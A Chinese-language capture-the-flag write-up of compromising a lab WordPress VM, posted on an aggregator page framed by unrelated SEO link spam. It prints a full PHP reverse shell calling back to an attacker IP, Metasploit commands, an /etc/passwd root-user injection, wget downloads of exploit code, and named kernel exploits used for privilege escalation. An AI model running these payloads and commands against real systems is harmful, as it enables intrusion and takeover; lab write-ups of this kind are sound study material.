当前位置: 首页 > news >正文

张家港网站制作服务烟台做公司网站

张家港网站制作服务,烟台做公司网站,wordpress仿58同城,江都网站制作提示#xff1a;本文记录了博主的一次普通的打靶经历 目录 1. 主机发现2. 端口扫描3. 服务枚举4. 服务探查4.1 FTP服务探查4.2 Apache服务探查4.2.1 wpscan扫描4.2.2 Metasploit神器4.2.3 手工探查页面4.2.3.1 Appearance Editor4.2.3.2 Plugins Editor 5. 提权5.1 系统信息枚… 提示本文记录了博主的一次普通的打靶经历 目录 1. 主机发现2. 端口扫描3. 服务枚举4. 服务探查4.1 FTP服务探查4.2 Apache服务探查4.2.1 wpscan扫描4.2.2 Metasploit神器4.2.3 手工探查页面4.2.3.1 Appearance Editor4.2.3.2 Plugins Editor 5. 提权5.1 系统信息枚举5.2 定时任务枚举5.3 /etc/passwd文件探查5.4 枚举可执行文件5.4.1 ntfs-3g提权5.4.2 ping6提权 5.5 EXP提权5.5.1 40871.c5.5.2 41458.c5.5.3 43345.c5.5.4 45553.c5.5.5 45010.c5.5.6 44298.c5.5.7 43418.c 47169.c 1. 主机发现 目前只知道目标靶机在65.xx网段通过如下的命令看看这个网段上在线的主机。 $ nmap -sP 192.168.65.0/24锁定目标靶机地址为192.168.65.140。 2. 端口扫描 通过下面的命令进行一下全端口扫描看一下靶机都开放了哪些端口。 $ sudo nmap -p- 192.168.65.140嗯开的端口不多等会儿逐个试试看。 3. 服务枚举 通过下面的命令枚举一下开放的端口上都运行了什么服务。 $ sudo nmap -p21,22,80 -A -sT -sV 192.168.65.140也都是一些常规的服务稍等会儿逐个探查一下看看。 4. 服务探查 4.1 FTP服务探查 直接尝试匿名登录一下看看。 $ ftp 192.168.65.140嗯可以匿名登录接下来看看FTP上有没有我们感兴趣的内容。 整个FTP服务下是空的没有找到任何内容暂时放一边。 4.2 Apache服务探查 直接用浏览器访问一下看看。 额是一个类似于蛇的三维动图点击以后会连接到一个/2.gif的三维动图如下图。 然后就没有任何其它内容了还是遍历一下目录吧。 $ dirsearch -u http://192.168.65.140内容也不少逐个进去看看。 首先通过/CHANGELOG页面可以知道80端口上运行的是基于Apache的一个叫LEPTON CMS的服务。 继续往下看在/INSTALL页面下可以知道服务用到了PHP和MySQL并且关闭了PHP的安全模式。 继续往下通过/robots.txt可以发现站点下还有个/wordpress目录跟我们目录枚举的结果是一样的。 接下来有wordpress的登录页面/wordpress/wp-login.php 还有wordpress的主页/wordpress。 4.2.1 wpscan扫描 既然有wordpress服务那我们就用wpscan扫描一下看看。 $ wpscan --url http://192.168.65.140/wordpress发现的内容不少还是先看看登录页面会不会枚举出用户或者爆破出密码吧。很幸运的是在尝试admin用户的时候直接通过弱密码admin登录进去了。 直接省掉了好多事快速浏览一下wp-admin控制台可以添加Media也可以添加Plugins这样我们就可能通过添加Media构建反弹shell或者添加有漏洞的Plugin来做进一步的开发。 我们直接吧之前构建的payload.php上传试试看payload文件的内容如下。 GIF8; ?phpset_time_limit (0); $VERSION 1.0; $ip 192.168.65.202; // CHANGE THIS $port 4444; // CHANGE THIS $chunk_size 1400; $write_a null; $error_a null; $shell uname -a; w; id; /bin/sh -i; $daemon 0; $debug 0;if (function_exists(pcntl_fork)) {// Fork and have the parent process exit$pid pcntl_fork();if ($pid -1) {printit(ERROR: Cant fork);exit(1);}if ($pid) {exit(0); // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() -1) {printit(Error: Cant setsid());exit(1);}$daemon 1; } else {printit(WARNING: Failed to daemonise. This is quite common and not fatal.); }// Change to a safe directory chdir(/);// Remove any umask we inherited umask(0);// // Do the reverse shell... //// Open reverse connection $sock fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) {printit($errstr ($errno));exit(1); }// Spawn shell process $descriptorspec array(0 array(pipe, r), // stdin is a pipe that the child will read from1 array(pipe, w), // stdout is a pipe that the child will write to2 array(pipe, w) // stderr is a pipe that the child will write to );$process proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit(ERROR: Cant spawn shell);exit(1); }// Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they wont stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0);printit(Successfully opened reverse shell to $ip:$port);while (1) {// Check for end of TCP connectionif (feof($sock)) {printit(ERROR: Shell connection terminated);break;}// Check for end of STDOUTif (feof($pipes[1])) {printit(ERROR: Shell process terminated);break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a array($sock, $pipes[1], $pipes[2]);$num_changed_sockets stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to processs STDINif (in_array($sock, $read_a)) {if ($debug) printit(SOCK READ);$input fread($sock, $chunk_size);if ($debug) printit(SOCK: $input);fwrite($pipes[0], $input);}// If we can read from the processs STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit(STDOUT READ);$input fread($pipes[1], $chunk_size);if ($debug) printit(STDOUT: $input);fwrite($sock, $input);}// If we can read from the processs STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit(STDERR READ);$input fread($pipes[2], $chunk_size);if ($debug) printit(STDERR: $input);fwrite($sock, $input);} }fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process);// Like print, but does nothing if weve daemonised ourself // (I cant figure out how to redirect STDOUT like a proper daemon) function printit ($string) {if (!$daemon) {print $string\n;} }? 嗯上传失败了没有逃过wordpress的格式检查后来尝试用zip格式仍然失败。接下来还是使用一下Metasploit神器吧。 4.2.2 Metasploit神器 先搜索一下关键字wordpress试试看。 还真是不少筛选出所有Rank为excellent并且Check为Yes的项如下。 结合前面的wpscan搜索结果序号为11的xmlRPC的漏洞可能是存在的我们先试试看再不行就安装一个由漏洞的插件。 msf6 use exploit/unix/webapp/php_xmlrpc_eval msf6 exploit(unix/webapp/php_xmlrpc_eval) set PATH /wordpress/xmlrpc.php msf6 exploit(unix/webapp/php_xmlrpc_eval) set RHOSTS 192.168.65.140 msf6 exploit(unix/webapp/php_xmlrpc_eval) set payload payload/cmd/unix/reverse_php_ssl msf6 exploit(unix/webapp/php_xmlrpc_eval) run失败了还是看看尝试安装一个有漏洞的plugin吧这里用一下backup guard。 msf6 use exploit/multi/http/wp_plugin_backup_guard_rce msf6 exploit(multi/http/wp_plugin_backup_guard_rce) show options从上面的输出来看需要安装小于1.6.0版本的插件在插件管理里面竟然没有搜索到直接下载https://downloads.wordpress.org/plugin/backup.1.5.8.zip然后上传到靶机上。 这条路子也失败了貌似不允许创建目录如下图。 4.2.3 手工探查页面 到此为止已经黔驴技穷了实在没有找到合适的突破口还是回到admin登录后的页面手工仔细点击一下看看吧。 功夫不负有心人我们在Appearance和Plugins菜单下面都发现了Editor的入口并且都可以支持编辑php的内容如下图。 这样一来貌似我们可以直接在编辑php脚本的时候写入反弹shell接下来我们分别在这两处试一下。 4.2.3.1 Appearance Editor 直接将我们前面的payload.php文件中的?php ?中间的内容拷贝到下图中第一个所示的404.php中注意语法。 拷进去之后先不急着保存防止一保存就自动执行其实我也不懂瞎猜的在kali上开启4444端口的监听然后再回来点击页面底下的“Update File”按钮。 提示更新成功了但是并没有建立反弹shell我们尝试从浏览器触发一个能够返回404的请求试试就请求这个192.168.65.140/wordpress/wp-admin/theme-editor.php?file404.php试试看吧。 请求成功了但是仍然没有反弹看来光请求没有得触发http 404才可以我们请求一下192.168.65.140/wordpress/wp-admin/theme-editorrtrrr.php这个页面肯定不存在试试看。 这次返回404了但是仍然没有反弹不应该啊。经过仔细分析根本原因还是不了解wordpress的themes的机制这个页面的真实地址应该是http://192.168.65.140/wordpress/wp-content/themes/twentyfourteen/404.php直接访问这个地址的时候成功建立的反弹shell。 4.2.3.2 Plugins Editor 接下来我们在Plugins的Editor下面通过同样的手法试一下细节不再赘述如下图。 可惜搞了半天也不知道这些内容写进去以后怎么保存只能放弃接下来还是好好研究提权吧。 5. 提权 先尝试一下弱密码提权。 通过下面的命令优化一下shell试试看。 $ /usr/bin/python3.5 -c import pty;pty.spawn(/bin/bash)嗯这次可以了不存在弱密码。 5.1 系统信息枚举 $ uname -a $ cat /etc/*-release $ getconf LONG_BIT目标靶机是64位的Ubuntu 16.04.2 LTS版本内核是4.4.0-62-generic。 5.2 定时任务枚举 没有我们感兴趣的内容。 5.3 /etc/passwd文件探查 www-dataubuntu:/$ cat /etc/passwd | grep -v nologin除了root用户之外还有一个用户btrisk值得我们注意一下。接下来尝试向passwd文件中写入一个用户试试看。 $ echo testuser:$1$IbaVSVwa$v6h3hVYDvjI.y0q2Kq0fg.:0:0:root:/root:/bin/bash /etc/passwd看来想多了确实没有权限后面需要的时候爆破一下这个用户。 5.4 枚举可执行文件 先直接用一下sudo -l试试看。 当前用户不具备直接sudo的权限需要密码才行。还是枚举一下root用户所有其它用户可执行的程序吧。 $ find / -type f -user root -perm -ow 2/dev/null | grep -v /sys/ | grep -v /proc/查询结果竟然是空的再通过下面的命令试试看。 www-dataubuntu:/$ find / -user root -perm -4000 2/dev/null这次搜出来了一些上面标识出来的两个可以重点关注一下。 5.4.1 ntfs-3g提权 google了一下这个程序确实可以用于提权主要是基于CVE漏洞CVE-2017-0358。ntfs-3g是一个NTFS读写驱动程序具备setuid的权限该驱动在调用modprobe时没有初始化环境变量本地用户可以基于这一点进行提权该漏洞存在于load_fuse_module()函数中。 参照searchsploit里面编号为41356的内容https://www.exploit-db.com/exploits/41356先从https://bugs.chromium.org/p/project-zero/issues/detail?id1072下载对应的ntfs-3g-modprobe-unsafe.tar文件。 通过下面的命令在卡里上启动http服务用于上传我们下载的tar文件 $ python3 -m http.server 80通过下面的命令将tar文件下载到目标靶机的/tmp目录下。 www-dataubuntu:/$ wget http://192.168.65.202/ntfs-3g-modprobe-unsafe.tar -O /tmp/ntfs-3g-modprobe-unsafe.tar然后执行下面的命令。 www-dataubuntu:/tmp$ chmod 775 ntfs-3g-modprobe-unsafe.tar www-dataubuntu:/tmp$ tar xf ntfs-3g-modprobe-unsafe.tar www-dataubuntu:/tmp$ cd ntfs-3g-modprobe-unsafe www-dataubuntu:/tmp/ntfs-3g-modprobe-unsafe$ ./compile.sh结果在执行编译的时候出错了在靶机上编译不了我们用同样的方法在本地的ubuntu本地是16.04.7 LTS上编译试试看。 在本地的Ubuntu上编译成功了如上图所示我们把这整个目录重新打包上传到目标靶机试试看。 www-dataubuntu:/tmp$ tar xf ntfs-3g-modprobe-unsafe.tar www-dataubuntu:/tmp/ntfs-3g-modprobe-unsafe$ chmod 775 *额执行失败了可能是漏洞被堵上了在本地的Ubuntu上试试看。 确实也是不成功的看来这个EXP还是有些问题。接下来试试searchsploit里面编号为41240的EXP。 这个在目标靶机上是提权失败的需要make工具靶机上应该是没有我们在本地Ubuntu上试试看。 同样是失败的不纠结了还是试试ping6吧。 5.4.2 ping6提权 google了一下没有找到ping6提权的相关记录暂时放弃直接跳过。 5.5 EXP提权 没有办法了还是搜索一下对应的EXP试试看吧。 对应的内容还是比较多了逐个试试吧为了提高效率每个exp都是先在本地Ubuntu上编译。 5.5.1 40871.c 第一个40871失败。 5.5.2 41458.c 嗯比较幸运第二个41458提权成功进一步验证一下。 确实提权成功了获取一下flag。 额竟然没有发现flag然后直接cd到/root目录看看发现没反应靶机挂掉了重启试试获取flag的过程中必然会挂掉可能是41458这个EXP提权还有些缺陷。 5.5.3 43345.c 竟然是上图所示的样子数字到了2000多都没有结束在本地的Ubuntu下也是同样的现象果断放弃。 5.5.4 45553.c 一开始看着都是很正常的最终还是失败了看来还是EXP的原因在本地Ubuntu上也是同样的现象。 5.5.5 45010.c 接下来试试45010。 貌似45010也是可以提权成功的进一步验证一下。 妥妥的再次尝试查找一下flag。 额还是没有flag信息不过这次靶机是没有挂掉的还在正常运行着。会不会跟之前的docker提权一样放到了/mnt/root下面呢试试看。 也是没有的太异常了全盘搜索试试看。 真是见鬼了。先不管了后面还剩三个EXP索性都试试吧。 5.5.6 44298.c 我擦这个简直是暴力小萝莉啊进一步试试看。 顺畅的很 5.5.7 43418.c 47169.c 嗯这个不行在本地的Ubuntu上也是失败的再试试最后一个47169。 也失败了不纠结了本次打靶到此为止遗憾的是一直没找到flag。
http://www.w-s-a.com/news/33256/

相关文章:

  • 做网站的去哪找客户正规制作网站公司
  • 网站代理访问是什么意思外国优秀设计网站
  • 合肥个人建站模板网络技术服务有限公司
  • 做网站什么公司好dw企业网站开发教程
  • 怎么做自己的个人网站宝安网站设计哪家最好
  • 浩博建设集团网站站长网站统计
  • 电商网站开发视频seo排名优化方式方法
  • 宿迁市住房城乡建设局网站wordpress纯图片主题
  • 广州建设网站 公司湖北省建设信息网官网
  • 网站建立时间查询做百度移动网站优化排
  • 网站建设和运行费用qq恢复官方网站
  • 可以免费建立网站吗免费的网络营销方式
  • 天津企业设计网站建设wordpress标题字体大小
  • 上高县城乡规划建设局网站创业项目
  • 钓鱼网站在线下载广州网站设计哪里好
  • 做阿里国际网站会有成效吗wordpress微博同步
  • 西安网站建设云速网络网站运营情况怎么写
  • 免费建网站的网站微信商城分销系统方案
  • 烟台网站seo服务友情链接有哪些展现形式
  • 什么是移动网站开发免费网站开发框架
  • 做网站 创业wordpress子菜单
  • 门户网站类型有哪些权重7以上的网站
  • 政务网站建设论文android app开发教程
  • 网站开发实训h5总结个人网站注册平台要多少钱
  • 空白网站建设wordpress高亮代码过长
  • 盐城 网站开发什么叫做门户网站
  • 广东快速做网站公司哪家好本地建wordpress
  • dedecms如何做网站贵阳seo计费管理
  • 企业网站设计一般多少钱呼和浩特最好的互联网公司
  • 黄浦专业做网站海南网站策划